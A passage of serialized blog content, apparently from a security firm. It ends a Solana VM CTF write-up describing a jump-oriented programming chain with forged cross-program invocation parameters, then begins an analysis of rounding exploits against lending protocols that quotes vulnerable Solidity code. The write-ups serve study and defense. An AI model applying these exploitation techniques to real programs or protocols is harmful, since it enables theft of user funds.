"value":2343},{"type":23,"tag":314,"props":44688,"children":44689},{"style":354},[44690],{"type":28,"value":1015},{"type":23,"tag":314,"props":44692,"children":44693},{"style":2674},[44694],{"type":28,"value":12444},{"type":23,"tag":24,"props":44696,"children":44697},{},[44698,44700,44705,44707,44714],{"type":28,"value":44699},"The source of ",{"type":23,"tag":31,"props":44701,"children":44703},{"href":44702},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[44704],{"type":28,"value":43318},{"type":28,"value":44706}," helps a lot, but looking at the actual ",{"type":23,"tag":31,"props":44708,"children":44711},{"href":44709,"rel":44710},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[35],[44712],{"type":28,"value":44713},"implementation",{"type":28,"value":44715}," provides more clarity:",{"type":23,"tag":127,"props":44717,"children":44718},{},[44719],{"type":23,"tag":88,"props":44720,"children":44721},{},[44722,44727,44729,44736],{"type":23,"tag":94,"props":44723,"children":44725},{"className":44724},[],[44726],{"type":28,"value":44582},{"type":28,"value":44728}," points to a ",{"type":23,"tag":31,"props":44730,"children":44733},{"href":44731,"rel":44732},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[35],[44734],{"type":28,"value":44735},"StableInstruction",{"type":28,"value":3746},{"type":23,"tag":24,"props":44738,"children":44739},{},[44740],{"type":23,"tag":197,"props":44741,"children":44743},{"alt":44735,"src":44742},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":23,"tag":127,"props":44745,"children":44746},{},[44747,44772],{"type":23,"tag":88,"props":44748,"children":44749},{},[44750,44755,44757,44762,44764,44771],{"type":23,"tag":94,"props":44751,"children":44753},{"className":44752},[],[44754],{"type":28,"value":44607},{"type":28,"value":44756}," points to a slice of ",{"type":23,"tag":94,"props":44758,"children":44760},{"className":44759},[],[44761],{"type":28,"value":44632},{"type":28,"value":44763}," ",{"type":23,"tag":31,"props":44765,"children":44768},{"href":44766,"rel":44767},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[35],[44769],{"type":28,"value":44770},"AccountInfos",{"type":28,"value":282},{"type":23,"tag":88,"props":44773,"children":44774},{},[44775,44780,44782,44787,44789,44794],{"type":23,"tag":94,"props":44776,"children":44778},{"className":44777},[],[44779],{"type":28,"value":44649},{"type":28,"value":44781}," is a bit trickier, it points to a slice of length ",{"type":23,"tag":94,"props":44783,"children":44785},{"className":44784},[],[44786],{"type":28,"value":44674},{"type":28,"value":44788},", containing slices of ",{"type":23,"tag":94,"props":44790,"children":44792},{"className":44791},[],[44793],{"type":28,"value":2677},{"type":28,"value":282},{"type":23,"tag":24,"props":44796,"children":44797},{},[44798],{"type":23,"tag":197,"props":44799,"children":44802},{"alt":44800,"src":44801},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":23,"tag":24,"props":44804,"children":44805},{},[44806,44808,44813],{"type":28,"value":44807},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":23,"tag":186,"props":44809,"children":44810},{},[44811],{"type":28,"value":44812},"future call frames",{"type":28,"value":282},{"type":23,"tag":24,"props":44815,"children":44816},{},[44817,44819,44826],{"type":28,"value":44818},"Now that we have all the parts, all we need is to string it together. The full ",{"type":23,"tag":31,"props":44820,"children":44823},{"href":44821,"rel":44822},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[35],[44824],{"type":28,"value":44825},"reference solution can be found here",{"type":28,"value":282},{"type":23,"tag":24,"props":44828,"children":44829},{},[44830],{"type":28,"value":44831},"Here's a visualization of the final JOP chain.",{"type":23,"tag":304,"props":44833,"children":44835},{"className":43200,"code":44834,"language":43202,"meta":7,"style":7},"graph BT\n A[0: entrypoint] --> B[1: process_instruction]\n B --> C[2: process]\n C --> D[3: Write account_infos.ptr to target_r10 - 136]\n C --> E[3: process]\n E --> F[4: Write account_infos.len to target_r10 - 128]\n E --> G[4: process]\n G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n G --> I[5: process]\n I --> J[6: Write signers_seeds.len to target_r10 - 144]\n I --> K[6: process]\n K --> M[7: Write HeapBase to target_r10 - 120]\n K --> N[7: process]\n N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n N --> O[8: Write 0x4337 to the account]\n",[44836],{"type":23,"tag":94,"props":44837,"children":44838},{"__ignoreMap":7},[44839,44847,44854,44861,44869,44876,44884,44892,44900,44908,44916,44924,44932,44940,44948],{"type":23,"tag":314,"props":44840,"children":44841},{"class":316,"line":317},[44842],{"type":23,"tag":314,"props":44843,"children":44844},{},[44845],{"type":28,"value":44846},"graph BT\n",{"type":23,"tag":314,"props":44848,"children":44849},{"class":316,"line":370},[44850],{"type":23,"tag":314,"props":44851,"children":44852},{},[44853],{"type":28,"value":43222},{"type":23,"tag":314,"props":44855,"children":44856},{"class":316,"line":380},[44857],{"type":23,"tag":314,"props":44858,"children":44859},{},[44860],{"type":28,"value":43230},{"type":23,"tag":314,"props":44862,"children":44863},{"class":316,"line":1091},[44864],{"type":23,"tag":314,"props":44865,"children":44866},{},[44867],{"type":28,"value":44868}," C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":23,"tag":314,"props":44870,"children":44871},{"class":316,"line":1141},[44872],{"type":23,"tag":314,"props":44873,"children":44874},{},[44875],{"type":28,"value":43246},{"type":23,"tag":314,"props":44877,"children":44878},{"class":316,"line":1173},[44879],{"type":23,"tag":314,"props":44880,"children":44881},{},[44882],{"type":28,"value":44883}," E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":23,"tag":314,"props":44885,"children":44886},{"class":316,"line":1208},[44887],{"type":23,"tag":314,"props":44888,"children":44889},{},[44890],{"type":28,"value":44891}," E --> G[4: process]\n",{"type":23,"tag":314,"props":44893,"children":44894},{"class":316,"line":1216},[44895],{"type":23,"tag":314,"props":44896,"children":44897},{},[44898],{"type":28,"value":44899}," G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":23,"tag":314,"props":44901,"children":44902},{"class":316,"line":1301},[44903],{"type":23,"tag":314,"props":44904,"children":44905},{},[44906],{"type":28,"value":44907}," G --> I[5: process]\n",{"type":23,"tag":314,"props":44909,"children":44910},{"class":316,"line":1343},[44911],{"type":23,"tag":314,"props":44912,"children":44913},{},[44914],{"type":28,"value":44915}," I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":23,"tag":314,"props":44917,"children":44918},{"class":316,"line":1351},[44919],{"type":23,"tag":314,"props":44920,"children":44921},{},[44922],{"type":28,"value":44923}," I --> K[6: process]\n",{"type":23,"tag":314,"props":44925,"children":44926},{"class":316,"line":1387},[44927],{"type":23,"tag":314,"props":44928,"children":44929},{},[44930],{"type":28,"value":44931}," K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":23,"tag":314,"props":44933,"children":44934},{"class":316,"line":1422},[44935],{"type":23,"tag":314,"props":44936,"children":44937},{},[44938],{"type":28,"value":44939}," K --> N[7: process]\n",{"type":23,"tag":314,"props":44941,"children":44942},{"class":316,"line":1430},[44943],{"type":23,"tag":314,"props":44944,"children":44945},{},[44946],{"type":28,"value":44947}," N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":23,"tag":314,"props":44949,"children":44950},{"class":316,"line":1452},[44951],{"type":23,"tag":314,"props":44952,"children":44953},{},[44954],{"type":28,"value":44955}," N --> O[8: Write 0x4337 to the account]\n",{"type":23,"tag":24,"props":44957,"children":44958},{},[44959,44961,44967],{"type":28,"value":44960},"Small note: ",{"type":23,"tag":94,"props":44962,"children":44964},{"className":44963},[],[44965],{"type":28,"value":44966},"target_r10",{"type":28,"value":44968}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":23,"tag":304,"props":44970,"children":44972},{"className":2234,"code":44971,"language":2233,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n 0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[44973],{"type":23,"tag":94,"props":44974,"children":44975},{"__ignoreMap":7},[44976,45021,45056,45063],{"type":23,"tag":314,"props":44977,"children":44978},{"class":316,"line":317},[44979,44983,44988,44992,44997,45001,45005,45009,45013,45017],{"type":23,"tag":314,"props":44980,"children":44981},{"style":321},[44982],{"type":28,"value":19504},{"type":23,"tag":314,"props":44984,"children":44985},{"style":332},[44986],{"type":28,"value":44987}," call_frame_addr",{"type":23,"tag":314,"props":44989,"children":44990},{"style":338},[44991],{"type":28,"value":341},{"type":23,"tag":314,"props":44993,"children":44994},{"style":360},[44995],{"type":28,"value":44996},"depth",{"type":23,"tag":314,"props":44998,"children":44999},{"style":354},[45000],{"type":28,"value":3746},{"type":23,"tag":314,"props":45002,"children":45003},{"style":2674},[45004],{"type":28,"value":5114},{"type":23,"tag":314,"props":45006,"children":45007},{"style":338},[45008],{"type":28,"value":2343},{"type":23,"tag":314,"props":45010,"children":45011},{"style":354},[45012],{"type":28,"value":1015},{"type":23,"tag":314,"props":45014,"children":45015},{"style":2674},[45016],{"type":28,"value":5114},{"type":23,"tag":314,"props":45018,"children":45019},{"style":338},[45020],{"type":28,"value":1449},{"type":23,"tag":314,"props":45022,"children":45023},{"class":316,"line":370},[45024,45029,45033,45038,45042,45047,45051],{"type":23,"tag":314,"props":45025,"children":45026},{"style":1054},[45027],{"type":28,"value":45028}," 0x200000000",{"type":23,"tag":314,"props":45030,"children":45031},{"style":354},[45032],{"type":28,"value":1572},{"type":23,"tag":314,"props":45034,"children":45035},{"style":1054},[45036],{"type":28,"value":45037}," 0x2000",{"type":23,"tag":314,"props":45039,"children":45040},{"style":354},[45041],{"type":28,"value":357},{"type":23,"tag":314,"props":45043,"children":45044},{"style":360},[45045],{"type":28,"value":45046}," depth",{"type":23,"tag":314,"props":45048,"children":45049},{"style":354},[45050],{"type":28,"value":1572},{"type":23,"tag":314,"props":45052,"children":45053},{"style":1054},[45054],{"type":28,"value":45055}," 0x1000\n",{"type":23,"tag":314,"props":45057,"children":45058},{"class":316,"line":380},[45059],{"type":23,"tag":314,"props":45060,"children":45061},{"style":338},[45062],{"type":28,"value":386},{"type":23,"tag":314,"props":45064,"children":45065},{"class":316,"line":1091},[45066],{"type":23,"tag":314,"props":45067,"children":45068},{"style":374},[45069],{"type":28,"value":45070},"// call_frame_addr(8) = 0x200011000\n",{"type":23,"tag":61,"props":45072,"children":45073},{"id":28180},[45074],{"type":28,"value":18185},{"type":23,"tag":24,"props":45076,"children":45077},{},[45078,45080,45087],{"type":28,"value":45079},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":23,"tag":31,"props":45081,"children":45084},{"href":45082,"rel":45083},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[35],[45085],{"type":28,"value":45086},"they do exist",{"type":28,"value":282},{"type":23,"tag":24,"props":45089,"children":45090},{},[45091],{"type":28,"value":45092},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":23,"tag":24,"props":45094,"children":45095},{},[45096,45098,45103],{"type":28,"value":45097},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":23,"tag":186,"props":45099,"children":45100},{},[45101],{"type":28,"value":45102},"entire",{"type":28,"value":45104}," runtime.",{"type":23,"tag":2096,"props":45106,"children":45107},{},[45108],{"type":28,"value":2100},{"title":7,"searchDepth":370,"depth":370,"links":45110},[45111,45115,45116,45119],{"id":18194,"depth":370,"text":18197,"children":45112},[45113,45114],{"id":39789,"depth":380,"text":39792},{"id":41108,"depth":380,"text":41111},{"id":42347,"depth":370,"text":42350},{"id":43182,"depth":370,"text":43185,"children":45117},[45118],{"id":43296,"depth":380,"text":43299},{"id":28180,"depth":370,"text":18185},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":45124,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":45125,"description":45126,"author":45127,"image":45128,"date":45130,"isFeatured":18,"onBlogPage":18,"body":45131,"_type":2117,"_id":46277,"_source":2119,"_file":46278,"_stem":46279,"_extension":2122},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide mitigations.",[4974],{"src":45129},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":20,"children":45132,"toc":46266},[45133,45137,45165,45170,45183,45188,45194,45199,45204,45209,45214,45227,45239,45259,45279,45284,45289,45307,45313,45318,45324,45338,45351,45356,45362,45376,45381,45403,45636,45641,45646,45659,45899,45909,45914,45920,45925,45930,45963,45968,45979,45985,45990,46004,46132,46146,46222,46227,46238,46243,46248,46252,46257,46262],{"type":23,"tag":61,"props":45134,"children":45135},{"id":28263},[45136],{"type":28,"value":28266},{"type":23,"tag":24,"props":45138,"children":45139},{},[45140,45142,45149,45150,45157,45159,45164],{"type":28,"value":45141},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":23,"tag":31,"props":45143,"children":45146},{"href":45144,"rel":45145},"https://neodyme.io/de/blog/lending_disclosure",[35],[45147],{"type":28,"value":45148},"fast",{"type":28,"value":778},{"type":23,"tag":31,"props":45151,"children":45154},{"href":45152,"rel":45153},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[35],[45155],{"type":28,"value":45156},"cheap",{"type":28,"value":45158}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":23,"tag":186,"props":45160,"children":45161},{},[45162],{"type":28,"value":45163},"Most people haven't considered what happens when shares are worth a lot",{"type":28,"value":282},{"type":23,"tag":24,"props":45166,"children":45167},{},[45168],{"type":28,"value":45169},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":23,"tag":84,"props":45171,"children":45172},{},[45173,45178],{"type":23,"tag":88,"props":45174,"children":45175},{},[45176],{"type":28,"value":45177},"Inflate share value (token to share conversion rate)",{"type":23,"tag":88,"props":45179,"children":45180},{},[45181],{"type":28,"value":45182},"Exploit rounding bug",{"type":23,"tag":24,"props":45184,"children":45185},{},[45186],{"type":28,"value":45187},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":23,"tag":61,"props":45189,"children":45191},{"id":45190},"model",[45192],{"type":28,"value":45193},"Model",{"type":23,"tag":24,"props":45195,"children":45196},{},[45197],{"type":28,"value":45198},"Before we dive in, there's some helpful background information we'll share first.",{"type":23,"tag":24,"props":45200,"children":45201},{},[45202],{"type":28,"value":45203},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":23,"tag":24,"props":45205,"children":45206},{},[45207],{"type":28,"value":45208},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":23,"tag":24,"props":45210,"children":45211},{},[45212],{"type":28,"value":45213},"This question is more complex than it may appear. Let's walk through an example.",{"type":23,"tag":24,"props":45215,"children":45216},{},[45217,45219,45225],{"type":28,"value":45218},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":23,"tag":94,"props":45220,"children":45222},{"className":45221},[],[45223],{"type":28,"value":45224},"1000:1000",{"type":28,"value":45226}," (1000 tokens to 1000 shares).",{"type":23,"tag":24,"props":45228,"children":45229},{},[45230,45232,45238],{"type":28,"value":45231},"After accruing fees, the pool gains one token for a new ratio of ",{"type":23,"tag":94,"props":45233,"children":45235},{"className":45234},[],[45236],{"type":28,"value":45237},"1001:1000",{"type":28,"value":282},{"type":23,"tag":24,"props":45240,"children":45241},{},[45242,45244,45250,45252,45257],{"type":28,"value":45243},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":23,"tag":94,"props":45245,"children":45247},{"className":45246},[],[45248],{"type":28,"value":45249},"1001/1000*999 = 999.999",{"type":28,"value":45251},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":23,"tag":186,"props":45253,"children":45254},{},[45255],{"type":28,"value":45256},"down",{"type":28,"value":45258}," against the user.",{"type":23,"tag":24,"props":45260,"children":45261},{},[45262,45264,45270,45272,45278],{"type":28,"value":45263},"If we give the user 999 tokens, the new pool state is ",{"type":23,"tag":94,"props":45265,"children":45267},{"className":45266},[],[45268],{"type":28,"value":45269},"2:1",{"type":28,"value":45271},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":23,"tag":94,"props":45273,"children":45275},{"className":45274},[],[45276],{"type":28,"value":45277},"3:1",{"type":28,"value":282},{"type":23,"tag":24,"props":45280,"children":45281},{},[45282],{"type":28,"value":45283},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":23,"tag":24,"props":45285,"children":45286},{},[45287],{"type":28,"value":45288},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":23,"tag":84,"props":45290,"children":45291},{},[45292,45297,45302],{"type":23,"tag":88,"props":45293,"children":45294},{},[45295],{"type":28,"value":45296},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":23,"tag":88,"props":45298,"children":45299},{},[45300],{"type":28,"value":45301},"When you withdraw, are you withdrawing shares or tokens?",{"type":23,"tag":88,"props":45303,"children":45304},{},[45305],{"type":28,"value":45306},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":23,"tag":61,"props":45308,"children":45310},{"id":45309},"decisions",[45311],{"type":28,"value":45312},"Decisions",{"type":23,"tag":24,"props":45314,"children":45315},{},[45316],{"type":28,"value":45317},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":23,"tag":837,"props":45319,"children":45321},{"id":45320},"radiant-capital",[45322],{"type":28,"value":45323},"Radiant Capital",{"type":23,"tag":24,"props":45325,"children":45326},{},[45327,45329,45336],{"type":28,"value":45328},"Radiant Capital was ",{"type":23,"tag":31,"props":45330,"children":45333},{"href":45331,"rel":45332},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[35],[45334],{"type":28,"value":45335},"hacked on Jan 2nd",{"type":28,"value":45337}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":23,"tag":24,"props":45339,"children":45340},{},[45341,45343,45350],{"type":28,"value":45342},"The exploit is relatively straightforward and ",{"type":23,"tag":31,"props":45344,"children":45347},{"href":45345,"rel":45346},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[35],[45348],{"type":28,"value":45349},"has already been covered previously",{"type":28,"value":282},{"type":23,"tag":24,"props":45352,"children":45353},{},[45354],{"type":28,"value":45355},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":23,"tag":837,"props":45357,"children":45359},{"id":45358},"wise-lending",[45360],{"type":28,"value":45361},"Wise Lending",{"type":23,"tag":24,"props":45363,"children":45364},{},[45365,45367,45374],{"type":28,"value":45366},"Wise Lending was ",{"type":23,"tag":31,"props":45368,"children":45371},{"href":45369,"rel":45370},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[35],[45372],{"type":28,"value":45373},"hacked on January 13th",{"type":28,"value":45375}," for just under $460,000.",{"type":23,"tag":24,"props":45377,"children":45378},{},[45379],{"type":28,"value":45380},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":23,"tag":24,"props":45382,"children":45383},{},[45384,45386,45393,45395,45402],{"type":28,"value":45385},"This is ",{"type":23,"tag":31,"props":45387,"children":45390},{"href":45388,"rel":45389},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[35],[45391],{"type":28,"value":45392},"the code responsible",{"type":28,"value":45394}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":23,"tag":31,"props":45396,"children":45399},{"href":45397,"rel":45398},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[35],[45400],{"type":28,"value":45401},"no way to atomically self-bankrupt",{"type":28,"value":282},{"type":23,"tag":304,"props":45404,"children":45406},{"className":3729,"code":45405,"language":3728,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n _poolToken,\n _amount\n)\n * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n / PRECISION_FACTOR_E18\n \u003C borrowAmount;\n\nif (state == true) {\n revert ResultsInBadDebt();\n}\n",[45407],{"type":23,"tag":94,"props":45408,"children":45409},{"__ignoreMap":7},[45410,45441,45449,45457,45464,45486,45499,45506,45527,45557,45569,45581,45588,45612,45629],{"type":23,"tag":314,"props":45411,"children":45412},{"class":316,"line":317},[45413,45418,45423,45427,45432,45437],{"type":23,"tag":314,"props":45414,"children":45415},{"style":2674},[45416],{"type":28,"value":45417},"uint256",{"type":23,"tag":314,"props":45419,"children":45420},{"style":338},[45421],{"type":28,"value":45422}," withdrawValue ",{"type":23,"tag":314,"props":45424,"children":45425},{"style":354},[45426],{"type":28,"value":1102},{"type":23,"tag":314,"props":45428,"children":45429},{"style":338},[45430],{"type":28,"value":45431}," WISE_ORACLE.",{"type":23,"tag":314,"props":45433,"children":45434},{"style":332},[45435],{"type":28,"value":45436},"getTokensInETH",{"type":23,"tag":314,"props":45438,"children":45439},{"style":338},[45440],{"type":28,"value":2719},{"type":23,"tag":314,"props":45442,"children":45443},{"class":316,"line":370},[45444],{"type":23,"tag":314,"props":45445,"children":45446},{"style":338},[45447],{"type":28,"value":45448}," _poolToken,\n",{"type":23,"tag":314,"props":45450,"children":45451},{"class":316,"line":380},[45452],{"type":23,"tag":314,"props":45453,"children":45454},{"style":338},[45455],{"type":28,"value":45456}," _amount\n",{"type":23,"tag":314,"props":45458,"children":45459},{"class":316,"line":1091},[45460],{"type":23,"tag":314,"props":45461,"children":45462},{"style":338},[45463],{"type":28,"value":2414},{"type":23,"tag":314,"props":45465,"children":45466},{"class":316,"line":1141},[45467,45471,45476,45481],{"type":23,"tag":314,"props":45468,"children":45469},{"style":354},[45470],{"type":28,"value":16800},{"type":23,"tag":314,"props":45472,"children":45473},{"style":338},[45474],{"type":28,"value":45475}," WISE_LENDING.",{"type":23,"tag":314,"props":45477,"children":45478},{"style":332},[45479],{"type":28,"value":45480},"lendingPoolData",{"type":23,"tag":314,"props":45482,"children":45483},{"style":338},[45484],{"type":28,"value":45485},"(_poolToken).collateralFactor\n",{"type":23,"tag":314,"props":45487,"children":45488},{"class":316,"line":1173},[45489,45494],{"type":23,"tag":314,"props":45490,"children":45491},{"style":354},[45492],{"type":28,"value":45493}," /",{"type":23,"tag":314,"props":45495,"children":45496},{"style":338},[45497],{"type":28,"value":45498}," PRECISION_FACTOR_E18;\n",{"type":23,"tag":314,"props":45500,"children":45501},{"class":316,"line":1208},[45502],{"type":23,"tag":314,"props":45503,"children":45504},{"emptyLinePlaceholder":18},[45505],{"type":28,"value":1088},{"type":23,"tag":314,"props":45507,"children":45508},{"class":316,"line":1216},[45509,45513,45518,45522],{"type":23,"tag":314,"props":45510,"children":45511},{"style":2674},[45512],{"type":28,"value":28934},{"type":23,"tag":314,"props":45514,"children":45515},{"style":338},[45516],{"type":28,"value":45517}," state ",{"type":23,"tag":314,"props":45519,"children":45520},{"style":354},[45521],{"type":28,"value":1102},{"type":23,"tag":314,"props":45523,"children":45524},{"style":338},[45525],{"type":28,"value":45526}," borrowPercentageCap\n",{"type":23,"tag":314,"props":45528,"children":45529},{"class":316,"line":1301},[45530,45534,45538,45543,45548,45552],{"type":23,"tag":314,"props":45531,"children":45532},{"style":354},[45533],{"type":28,"value":16800},{"type":23,"tag":314,"props":45535,"children":45536},{"style":338},[45537],{"type":28,"value":2324},{"type":23,"tag":314,"props":45539,"children":45540},{"style":332},[45541],{"type":28,"value":45542},"overallETHCollateralsWeighted",{"type":23,"tag":314,"props":45544,"children":45545},{"style":338},[45546],{"type":28,"value":45547},"(_nftId) ",{"type":23,"tag":314,"props":45549,"children":45550},{"style":354},[45551],{"type":28,"value":1051},{"type":23,"tag":314,"props":45553,"children":45554},{"style":338},[45555],{"type":28,"value":45556}," withdrawValue)\n",{"type":23,"tag":314,"props":45558,"children":45559},{"class":316,"line":1343},[45560,45564],{"type":23,"tag":314,"props":45561,"children":45562},{"style":354},[45563],{"type":28,"value":45493},{"type":23,"tag":314,"props":45565,"children":45566},{"style":338},[45567],{"type":28,"value":45568}," PRECISION_FACTOR_E18\n",{"type":23,"tag":314,"props":45570,"children":45571},{"class":316,"line":1351},[45572,45576],{"type":23,"tag":314,"props":45573,"children":45574},{"style":354},[45575],{"type":28,"value":31693},{"type":23,"tag":314,"props":45577,"children":45578},{"style":338},[45579],{"type":28,"value":45580}," borrowAmount;\n",{"type":23,"tag":314,"props":45582,"children":45583},{"class":316,"line":1387},[45584],{"type":23,"tag":314,"props":45585,"children":45586},{"emptyLinePlaceholder":18},[45587],{"type":28,"value":1088},{"type":23,"tag":314,"props":45589,"children":45590},{"class":316,"line":1422},[45591,45595,45600,45604,45608],{"type":23,"tag":314,"props":45592,"children":45593},{"style":2284},[45594],{"type":28,"value":14821},{"type":23,"tag":314,"props":45596,"children":45597},{"style":338},[45598],{"type":28,"value":45599}," (state ",{"type":23,"tag":314,"props":45601,"children":45602},{"style":354},[45603],{"type":28,"value":7828},{"type":23,"tag":314,"props":45605,"children":45606},{"style":321},[45607],{"type":28,"value":11717},{"type":23,"tag":314,"props":45609,"children":45610},{"style":338},[45611],{"type":28,"value":367},{"type":23,"tag":314,"props":45613,"children":45614},{"class":316,"line":1430},[45615,45620,45625],{"type":23,"tag":314,"props":45616,"children":45617},{"style":2284},[45618],{"type":28,"value":45619}," revert",{"type":23,"tag":314,"props":45621,"children":45622},{"style":332},[45623],{"type":28,"value":45624}," ResultsInBadDebt",{"type":23,"tag":314,"props":45626,"children":45627},{"style":338},[45628],{"type":28,"value":2926},{"type":23,"tag":314,"props":45630,"children":45631},{"class":316,"line":1452},[45632],{"type":23,"tag":314,"props":45633,"children":45634},{"style":338},[45635],{"type":28,"value":386},{"type":23,"tag":24,"props":45637,"children":45638},{},[45639],{"type":28,"value":45640},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":23,"tag":24,"props":45642,"children":45643},{},[45644],{"type":28,"value":45645},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":23,"tag":24,"props":45647,"children":45648},{},[45649,45651,45657],{"type":28,"value":45650},"And indeed, ",{"type":23,"tag":31,"props":45652,"children":45655},{"href":45653,"rel":45654},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[35],[45656],{"type":28,"value":45361},{"type":28,"value":45658}," rounds up the share value.",{"type":23,"tag":304,"props":45660,"children":45662},{"className":3729,"code":45661,"language":3728,"meta":7,"style":7},"function _calculateShares(\n uint256 _product,\n uint256 _pseudo,\n bool _maxSharePrice\n)\n private\n pure\n returns (uint256)\n{\n return _maxSharePrice == true\n ? _product % _pseudo == 0\n ? _product / _pseudo\n : _product / _pseudo + 1\n : _product / _pseudo;\n}\n",[45663],{"type":23,"tag":94,"props":45664,"children":45665},{"__ignoreMap":7},[45666,45682,45699,45715,45728,45735,45743,45751,45771,45778,45799,45820,45842,45871,45892],{"type":23,"tag":314,"props":45667,"children":45668},{"class":316,"line":317},[45669,45673,45678],{"type":23,"tag":314,"props":45670,"children":45671},{"style":321},[45672],{"type":28,"value":30625},{"type":23,"tag":314,"props":45674,"children":45675},{"style":332},[45676],{"type":28,"value":45677}," _calculateShares",{"type":23,"tag":314,"props":45679,"children":45680},{"style":338},[45681],{"type":28,"value":2719},{"type":23,"tag":314,"props":45683,"children":45684},{"class":316,"line":370},[45685,45690,45695],{"type":23,"tag":314,"props":45686,"children":45687},{"style":2674},[45688],{"type":28,"value":45689}," uint256",{"type":23,"tag":314,"props":45691,"children":45692},{"style":360},[45693],{"type":28,"value":45694}," _product",{"type":23,"tag":314,"props":45696,"children":45697},{"style":338},[45698],{"type":28,"value":1870},{"type":23,"tag":314,"props":45700,"children":45701},{"class":316,"line":380},[45702,45706,45711],{"type":23,"tag":314,"props":45703,"children":45704},{"style":2674},[45705],{"type":28,"value":45689},{"type":23,"tag":314,"props":45707,"children":45708},{"style":360},[45709],{"type":28,"value":45710}," _pseudo",{"type":23,"tag":314,"props":45712,"children":45713},{"style":338},[45714],{"type":28,"value":1870},{"type":23,"tag":314,"props":45716,"children":45717},{"class":316,"line":1091},[45718,45723],{"type":23,"tag":314,"props":45719,"children":45720},{"style":2674},[45721],{"type":28,"value":45722}," bool",{"type":23,"tag":314,"props":45724,"children":45725},{"style":360},[45726],{"type":28,"value":45727}," 